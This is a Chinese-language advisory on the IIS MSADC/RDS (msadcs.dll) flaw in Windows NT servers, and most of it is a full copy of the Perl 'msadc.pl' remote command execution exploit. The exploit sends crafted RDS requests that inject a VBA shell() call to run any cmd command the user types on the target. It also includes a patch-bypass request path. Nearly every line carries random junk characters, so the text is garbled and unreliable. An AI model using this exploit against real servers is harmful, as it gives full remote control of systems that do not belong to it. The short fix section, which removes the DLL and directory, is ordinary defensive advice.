IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
_1Iw"K49Qx /?8rj3 涉及程序：
|
\JB /x Microsoft NT server
qxwD 4L`S * C(XGX\?- 描述：
F U~:9EEx 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
^$O,Gy) V HQ8;d9cGir 详细：
Et0;1 如果你没有时间读详细内容的话，就删除:
I%G6V
a@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
FZtIC77X5 有关的安全问题就没有了。
"^iw {]~U bxg9T(Bj 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
{Uu|NA87Cd ddjaM / .E 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
& mvC<_1n 关于利用ODBC远程漏洞的描述，请参看:
a)8M'f_z hbdM}"& ] http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 0~X Z j1,ir 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
l<nL8/5{< http://www.microsoft.com/security/bulletins/MS99-025faq.asp Vz&!N/0i ygp NMq#?X 这里不再论述。
RV:%^=V- ]^^mJt.Iv 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
>H?{=H+/# /v:+
vh*mS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
X8b= z9 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
y| %rW h|1 /Q
( JuT ~~Z #将下面这段保存为txt文件，然后: "perl -x 文件名"
7l3sd5 n P4DHb&5 #!perl
R oWGQney #
pTJJ.#$CEF # MSADC/RDS 'usage' (aka exploit) script
i~6qOlLD- #
o os7x6 # by rain.forest.puppy
j!P]xl0vOZ #
H6XlSj # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
tcf>9YsOr # beta test and find errors!
t |aBe7t7 <Cw ) S8t use Socket; use Getopt::Std;
4HK#]M>yz getopts("e:vd:h:XR", \%args);
ceR zHq= +H~})PeQ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
l ;SqjkN y\&`A:^[ A if (!defined $args{h} && !defined $args{R}) {
9q -9UC!g print qq~
+
>oA@z Usage: msadc.pl -h <host> { -d <delay> -X -v }
7,2 bR -h <host> = host you want to scan (ip or domain)
0xM\+R~, -d <seconds> = delay between calls, default 1 second
0"L_0 t: -X = dump Index Server path table, if available
50.cMms -v = verbose
y++[:M -e = external dictionary file for step 5
2 - uL Z;Qb qMj Or a -R will resume a command session
i 7 f/r.
u m[nz ~; exit;}
aD@sb o -P<e-V%< $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
PSQ5/l?\> if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k/yoRv% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Hinz6k6! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
viT/$7`AI $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
8I'c 83w if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<O cD [5 S]3t{s#JW7 if (!defined $args{R}){ $ret = &has_msadc;
y#Ao6Od6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
L= fz:H Y\ len print "Please type the NT commandline you want to run (cmd /c assumed):\n"
bCF"4KXK . "cmd /c ";
n%]1p36 $in=<STDIN>; chomp $in;
# xS8 $command="cmd /c " . $in ;
)q\|f_ TC4W7} } if (defined $args{R}) {&load; exit;}
v'*#P7%Kf g,!6, v@ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
1#9 Q1@'OS &try_btcustmr;
N4Z%8:"pj spV/+j y{ print "\nStep 2: Trying to make our own DSN...";
9 BP ucXK &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
#AzZ4<;7 2#:h.8 print "\nStep 3: Trying known DSNs...";
"3A.x1uQ &known_dsn;
DDT)l+: XP D0D0=s print "\nStep 4: Trying known .mdbs...";
~
FW@ &known_mdb;
Yqy7__v m l Ud/^u` if (defined $args{e}){
f YR*B0tu print "\nStep 5: Trying dictionary of DSN names...";
lz1l1.f8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
8C2s-%: MS-}IHO print "Sorry Charley...maybe next time?\n";
`k/hC exit;
YT6<1-E# % SL'X`j ##############################################################################
`Pv[A R g 7 O sub sendraw { # ripped and modded from whisker
s('<ms sleep($delay); # it's a DoS on the server! At least on mine...
.A Of-a my ($pstr)=@_;
~ r6qnC2 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
y_:i'Ri. die("Socket problems\n");
E4aCL#}D if(connect(S,pack "SnA4x8",2,80,$target)){
oX@0+*" select(S); $|=1;
QXnL(z print $pstr; my @in=<S>;
6u`E {$ select(STDOUT); close(S);
EM+#h'%- return @in;
%l!Gt"\xm } else { die("Can't connect...\n"); }}
JB~79Lsdz NWuS/Ur`9 ##############################################################################
qr[H0f] pt&(c[ sub make_header { # make the HTTP request
%Uj7 g> my $msadc=<<EOT
(-tF=wR,W POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
\e64Us>"x User-Agent: ACTIVEDATA
#8G (r9 Host: $ip
w:P$ S Content-Length: $clen
TOp|Qtn Connection: Keep-Alive
GtRc7, r7r>1W%4 ADCClientVersion:01.06
x,a (O@ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
2B {~"< tY^ MP5* --!ADM!ROX!YOUR!WORLD!
Z> jk \[ Content-Type: application/x-varg
y-qbK0=X4 Content-Length: $reqlen
8|uFW7Q ^T83E} EOT
vq|o}6Et ; $msadc=~s/\n/\r\n/g;
T> cvV return $msadc;}
^fT|Wm< &o>ctf.x ##############################################################################
*Y'@|xf* :gMcl"t-- sub make_req { # make the RDS request
Mvq5s +. my ($switch, $p1, $p2)=@_;
M}E0Msq_o my $req=""; my $t1, $t2, $query, $dsn;
47b=>D8 g/&`NlD if ($switch==1){ # this is the btcustmr.mdb query
*6 o QW $query="Select * from Customers where City=" . make_shell();
y -j3d)T $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
O)78
iEXi| $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_Gv [ D j_\ns M7 elsif ($switch==2){ # this is general make table query
qi7(RL_N $query="create table AZZ (B int, C varchar(10))";
rnvKfTpZDU $dsn="$p1";}
&L[7jA'[J ?YzOA$ { elsif ($switch==3){ # this is general exploit table query
rcUXYJCh- $query="select * from AZZ where C=" . make_shell();
5(0f"zY $dsn="$p1";}
zWYm* c"n\ WZ @/' [ elsif ($switch==4){ # attempt to hork file info from index server
@~v |t{G $query="select path from scope()";
T2-n;8t $dsn="Provider=MSIDXS;";}
zi7,?b D al<[iZ elsif ($switch==5){ # bad query
*5'U3py $query="select";
cs[_5r&: $dsn="$p1";}
,2\?kP oc8 f$v Wi&(
$t1= make_unicode($query);
a[;TUc^I1F $t2= make_unicode($dsn);
MYgh^%w: $req = "\x02\x00\x03\x00";
=~M%zdIXv $req.= "\x08\x00" . pack ("S1", length($t1));
<WN? $req.= "\x00\x00" . $t1 ;
eYd6~T[9 $req.= "\x08\x00" . pack ("S1", length($t2));
i`-,=RJ $req.= "\x00\x00" . $t2 ;
:td#zM $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
w8$rt return $req;}
R4+Gmx1 VPG+]> * ##############################################################################
v 0762w {kGcZf3h sub make_shell { # this makes the shell() statement
69#D,ME? return "'|shell(\"$command\")|'";}
n\8;4]n H4[];&]xr ##############################################################################
DK8eF yG^2 AnK-\4 sub make_unicode { # quick little function to convert to unicode
"J|_1! 9 my ($in)=@_; my $out;
+X)n} jh for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
? +{=>{1 return $out;}
+DMD
g. <i9pJGW ##############################################################################
h/u>F$}c NjT#p8d X sub rdo_success { # checks for RDO return success (this is kludge)
ts
BPQ 8Ne my (@in) = @_; my $base=content_start(@in);
thWQU" z4 if($in[$base]=~/multipart\/mixed/){
Hgs=qH return 1 if( $in[$base+10]=~/^\x09\x00/ );}
l
AF/O 5b return 0;}
!Z +4FwF u2=gG. ##############################################################################
>iefEv\ 1T(:bM_t`7 sub make_dsn { # this makes a DSN for us
3QlV, )} my @drives=("c","d","e","f");
6*3J3Lc_< print "\nMaking DSN: ";
^+Ho#] foreach $drive (@drives) {
t[Dg)adc print "$drive: ";
,VK! 3$;| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Ul@ Jg
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
'\yp}r'u . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0Y7b $~n'Y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
VO"f=gFg return 0 if $2 eq "404"; # not found/doesn't exist
WR' m<u if($2 eq "200") {
r?Y+TtF\e foreach $line (@results) {
HF@K$RPK return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3,qq\gxB } return 0;}
4 j9 uMW5F-~-+ ##############################################################################
M
XB
fX @o&.]FZs sub verify_exists {
Gt{'` P,&9 my ($page)=@_;
mIu- my @results=sendraw("GET $page HTTP/1.0\n\n");
9y/gWE return $results[0];}
1 ]eh0H ;DWtCtD ##############################################################################
hV Q
TW [ s':fv[% sub try_btcustmr {
joaf0 my @drives=("c","d","e","f");
yl63VX8w} my @dirs=("winnt","winnt35","winnt351","win","windows");
yP :/F|E$ 7/*a foreach $dir (@dirs) {
n7UZ&ab print "$dir -> "; # fun status so you can see progress
Qg]8~^ Q< foreach $drive (@drives) {
nsChNwPX print "$drive: "; # ditto
xgl~4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
eM)E3~K:2 $reqlenlen=length( "$reqlen" );
NXhQdf $clen= 206 + $reqlenlen + $reqlen;
cZ$!_30N+ iy&*5 U my @results=sendraw(make_header() . make_req(1,$drive,$dir));
:/e= J if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
$,+'|_0yM else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
A/kRw'6 w3j51v` 0' ##############################################################################
![O @{/ IEb"tsel sub odbc_error {
.:eNL]2%: my (@in)=@_; my $base;
]V9z)uz my $base = content_start(@in);
gemjLuf if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
fn eg[K $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:v/6k $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
![H!Y W' $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{,r7dxI)` return $in[$base+4].$in[$base+5].$in[$base+6];}
JM8 s]& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
gR `: )> print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
d \nBc6 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
oYWcX9R $#V ^CmW. ##############################################################################
:sT\-MpQvn W!a~ #R/r- sub verbose {
i?^C c\gH my ($in)=@_;
RZykwD( return if !$verbose;
g=?KpI-pn0 print STDOUT "\n$in\n";}
{V&
2k9* ,Mwyk1:xix ##############################################################################
ZB-+ bY .F'fBT` $ sub save {
D 7Y5q*F my ($p1, $p2, $p3, $p4)=@_;
<&' Y e[k open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Q C:/xP print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
R#Z1+&=' close OUT;}
N kfu k a$p2I+lX ##############################################################################
/f!_dJ^ #k%3Ag sub load {
&dSw[C#f my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
@Yua%n6]#D open(IN,"<rds.save") || die("Couldn't open rds.save\n");
H LMEB0zh^ @p=<IN>; close(IN);
c`UJI$Q/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
M4a- +T" $target= inet_aton($ip) || die("inet_aton problems");
, j~ R ^j print "Resuming to $ip ...";
[0GM!3YJ7 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
l'~]8Wo1 if($p[1]==1) {
|=.z0{A7H $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<DS+"# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
rN|c0N my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
SU, t,i if (rdo_success(@results)){print "Success!\n";}
7pNTCZ Y| else { print "failed\n"; verbose(odbc_error(@results));}}
p9<OXeY elsif ($p[1]==3){
LkFXUt ? if(run_query("$p[3]")){
"A jtNL5 print "Success!\n";} else { print "failed\n"; }}
X ezO_V elsif ($p[1]==4){
`~( P if(run_query($drvst . "$p[3]")){
YBgHX [q print "Success!\n"; } else { print "failed\n"; }}
s(7'*`G"h exit;}
Fz+0 h" S EY ##############################################################################
Fi{~UOZg 0|X!Uw-Q%_ sub create_table {
\\jB@O my ($in)=@_;
%l@Q&)f8e $reqlen=length( make_req(2,$in,"") ) - 28;
/p')
u3 $reqlenlen=length( "$reqlen" );
@]f"X> $clen= 206 + $reqlenlen + $reqlen;
qx5X2@-;: my @results=sendraw(make_header() . make_req(2,$in,""));
pj,.RcH@o return 1 if rdo_success(@results);
r;w_B%9 my $temp= odbc_error(@results); verbose($temp);
V|NWJ7 return 1 if $temp=~/Table 'AZZ' already exists/;
JbYv < return 0;}
[|{yr d "78w-S ##############################################################################
[~)i<V|qJ =$5[uI2 sub known_dsn {
*?oQ6g(N z # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
~ MY7Ic% my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
aDa}@-F&a "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
&sL5 Pt_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
z]>aWH}$ a3 4'[R foreach $dSn (@dsns) {
1W;3pN print ".";
3m4?l
~ next if (!is_access("DSN=$dSn"));
K@VXFV if(create_table("DSN=$dSn")){
c1/G yq print "$dSn successful\n";
S m#;fx+ if(run_query("DSN=$dSn")){
vII&v+C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
U-TwrX print "Something's borked. Use verbose next time\n";}}} print "\n";}
H<`[,t *Rshzv[ ##############################################################################
*MkhRLw\, 6__@?XzJ sub is_access {
L}A R{ my ($in)=@_;
q 9qmz [ $reqlen=length( make_req(5,$in,"") ) - 28;
k=Ef)' $reqlenlen=length( "$reqlen" );
eEJ8j_G $clen= 206 + $reqlenlen + $reqlen;
# RJy my @results=sendraw(make_header() . make_req(5,$in,""));
L&ws[8- my $temp= odbc_error(@results);
X.s? =6}g verbose($temp); return 1 if ($temp=~/Microsoft Access/);
(?R return 0;}
"}K/ b BmrP]3 W? ##############################################################################
}Iub{30mp 8B Nsh[+ sub run_query {
^Gv<Xl my ($in)=@_;
sVkR7
^KsG $reqlen=length( make_req(3,$in,"") ) - 28;
nx=#QLi $reqlenlen=length( "$reqlen" );
"<6pp4*I $clen= 206 + $reqlenlen + $reqlen;
[RD ^@~x my @results=sendraw(make_header() . make_req(3,$in,""));
!gy'_Y return 1 if rdo_success(@results);
Hi|2z5=V my $temp= odbc_error(@results); verbose($temp);
<Xy8}Z`s return 0;}
oAWk<B(@ QAi(uL5 ##############################################################################
Yx&c nDx J+\F)k>r sub known_mdb {
|]A{8BBC my @drives=("c","d","e","f","g");
ao{>.b my @dirs=("winnt","winnt35","winnt351","win","windows");
P;
}Z
3! my $dir, $drive, $mdb;
B\| >i~u( my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
v}z o v Ei LO.4sO # this is sparse, because I don't know of many
zx-+u7qKH my @sysmdbs=( "\\catroot\\icatalog.mdb",
j`BF k> "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Vu\|KL| "\\system32\\certmdb.mdb",
R)cns7oW "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
F.A<e #e? ^&&dO *0{ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
g) v" nNS "\\cfusion\\cfapps\\forums\\forums_.mdb",
n{BC m % "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
NG'VlT "\\cfusion\\cfapps\\security\\realm_.mdb",
ErESk"2t "\\cfusion\\cfapps\\security\\data\\realm.mdb",
EFql
g9bK "\\cfusion\\database\\cfexamples.mdb",
?xQ lX%&`6 "\\cfusion\\database\\cfsnippets.mdb",
d?N"NqaN "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
RMC|(Q< "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
K-
} k-S "\\cfusion\\brighttiger\\database\\cleam.mdb",
*`}_e)( k "\\cfusion\\database\\smpolicy.mdb",
? |8&!F "\\cfusion\\database\cypress.mdb",
,zXL8T "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
#EHBS~^ "\\website\\cgi-win\\dbsample.mdb",
p hXVuQ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
ZX'{o9+w5 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
h| UT/: ); #these are just
IU$bP#< foreach $drive (@drives) {
{'DP/]nK foreach $dir (@dirs){
+"3eh1q[ foreach $mdb (@sysmdbs) {
XOqpys print ".";
!a~x |pjJ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4
>&%-BhN print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Q lb@A z if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
*|t]6!aVLS print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Qmn5umd=?\ } else { print "Something's borked. Use verbose next time\n"; }}}}}
WP]<\_r2 HAO/r`7* foreach $drive (@drives) {
k 5 "3* foreach $mdb (@mdbs) {
Ka_UVKwMro print ".";
G)#
,39P if(create_table($drv . $drive . $dir . $mdb)){
;g*X.d print "\n" . $drive . $dir . $mdb . " successful\n";
(X>y)V if(run_query($drv . $drive . $dir . $mdb)){
@0
-B&w print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
-m| b2g}"3 } else { print "Something's borked. Use verbose next time\n"; }}}}
rG\m]C3 E }
Z}NAH`V`:+ 'R, d?ikY ##############################################################################
ZC2C`S\xr 6km
u'v w sub hork_idx {
Q`vyDoF print "\nAttempting to dump Index Server tables...\n";
{t=Nn c15K print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
keJec`q=X $reqlen=length( make_req(4,"","") ) - 28;
s`#hk ^{ $reqlenlen=length( "$reqlen" );
:/~vaC Z $clen= 206 + $reqlenlen + $reqlen;
*0c
}`| my @results=sendraw2(make_header() . make_req(4,"",""));
_23sIUN c3 if (rdo_success(@results)){
;*Rajq my $max=@results; my $c; my %d;
NWAF4i&$ for($c=19; $c<$max; $c++){
HO@T2t[ $results[$c]=~s/\x00//g;
V)@MM 2, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
QK? 5) [ J $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
JG( < $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
w4x 8
Sre $d{"$1$2"}="";}
WHN b. > foreach $c (keys %d){ print "$c\n"; }
.vW~(Z uD } else {print "Index server doesn't seem to be installed.\n"; }}
4|2$b:t '|d (<.[ ##############################################################################
`% ENGB| O"#`i{^?2 sub dsn_dict {
%<M<'jxSca open(IN, "<$args{e}") || die("Can't open external dictionary\n");
u^]yz&9V while(<IN>){
p +T&9 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
D~?kvyJ next if (!is_access("DSN=$dSn"));
rmabm\QY if(create_table("DSN=$dSn")){
%'=oMbi>i4 print "$dSn successful\n";
5t<]|-i! if(run_query("DSN=$dSn")){
#>- rKv.A print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6VE >$`m print "Something's borked. Use verbose next time\n";}}}
=d5!O~}r> print "\n"; close(IN);}
~qqtFjlG^ J.nVEqLZ ##############################################################################
xlwsZm{V 'I<j`)4`d sub sendraw2 { # ripped and modded from whisker
L3GJq{ t sleep($delay); # it's a DoS on the server! At least on mine...
'D/AL\1{p( my ($pstr)=@_;
I ! (yU socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;
zv nDo x die("Socket problems\n");
/y!Vs`PZ! if(connect(S,pack "SnA4x8",2,80,$target)){
,Tz
,)rY print "Connected. Getting data";
>bZ# open(OUT,">raw.out"); my @in;
q XhrK
/ select(S); $|=1; print $pstr;
OK)0no=OAK while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
:9`1bZ ?a close(OUT); select(STDOUT); close(S); return @in;
-$0S#/)Z } else { die("Can't connect...\n"); }}
(mD]}{> SW; b E ##############################################################################
]rN fr- }fCM _w sub content_start { # this will take in the server headers
K%gFD?{^q my (@in)=@_; my $c;
b>7ts_b for ($c=1;$c<500;$c++) {
|M?HdxPa if($in[$c] =~/^\x0d\x0a/){
@\h(s#sn if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Ue8D:C M else { return $c+1; }}}
E^Yby J=1 return -1;} # it should never get here actually
os.x|R]_ C C09:L? ##############################################################################
d+;wDu MMAC,4 sub funky {
IW1\vfe my (@in)=@_; my $error=odbc_error(@in);
QVH_B+
Q if($error=~/ADO could not find the specified provider/){
b5|p#&YK~ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
amSyGQ2 exit;}
O.E0LCA BC if($error=~/A Handler is required/){
9F+bWo_m print "\nServer has custom handler filters (they most likely are patched)\n";
>ahj|pm exit;}
j41:]6 if($error=~/specified Handler has denied Access/){
z
K (5&u print "\nServer has custom handler filters (they most likely are patched)\n";
"EHc&,B` exit;}}
kb:C>Y8!sC ^~aSrREo ##############################################################################
|pgkl` :L[6a>"neE sub has_msadc {
vj b?N my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
CHU'FSq! my $base=content_start(@results);
**q/'K return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
%P S-nF7v return 0;}
A ;!FtD/
)2$_:Ek ########################
GVM#Xl}w9 G8s`<:9* 0/ 6&2 解决方案：
]]Z,Qu#<- 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
8bGq"!w- 2、移除web 目录: /msadc
